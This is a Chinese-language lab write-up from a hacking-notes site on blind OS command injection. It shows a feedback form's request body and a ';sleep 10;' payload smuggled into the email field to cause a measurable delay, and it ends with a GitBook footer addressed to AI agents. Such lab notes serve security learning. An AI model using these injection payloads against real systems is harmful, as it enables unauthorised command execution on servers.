> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/command-injection/blind-command-injection-with-time-delay.md).
# 通过时间延迟的盲命令注入
### 带输出重定向的盲目 OS 命令注入
本实验演示了一个可将系统命令注入到反馈功能中的漏洞。/ 该应用会执行一个由用户提供的数据构造的 shell 命令。该命令的输出\*\*不会出现在 HTTP 响应中\*\*，因此这是一个盲注。/ 目标是利用此缺陷造成 10 秒延迟\*\*。
#### **表单分析**
提交反馈页面发送以下数据：
{% code overflow="wrap" %}
```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com&subject=hello&message=hello1234
```
{% endcode %}
由于传输了多个字段，因此注入方式是\*\*在命令前后各添加一个分号\*\*，这样 shell 就会将其单独解释。
生成延迟的示例载荷：
```bash
;sleep 10;
```
#### **可注入字段**
该 **email** 字段对注入有反应：响应实际耗时 **10 秒**，这证明命令已执行。
修改后的请求示例：
{% code overflow="wrap" %}
```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10 ;&subject=hello&message=hello1234
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/command-injection/blind-command-injection-with-time-delay.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.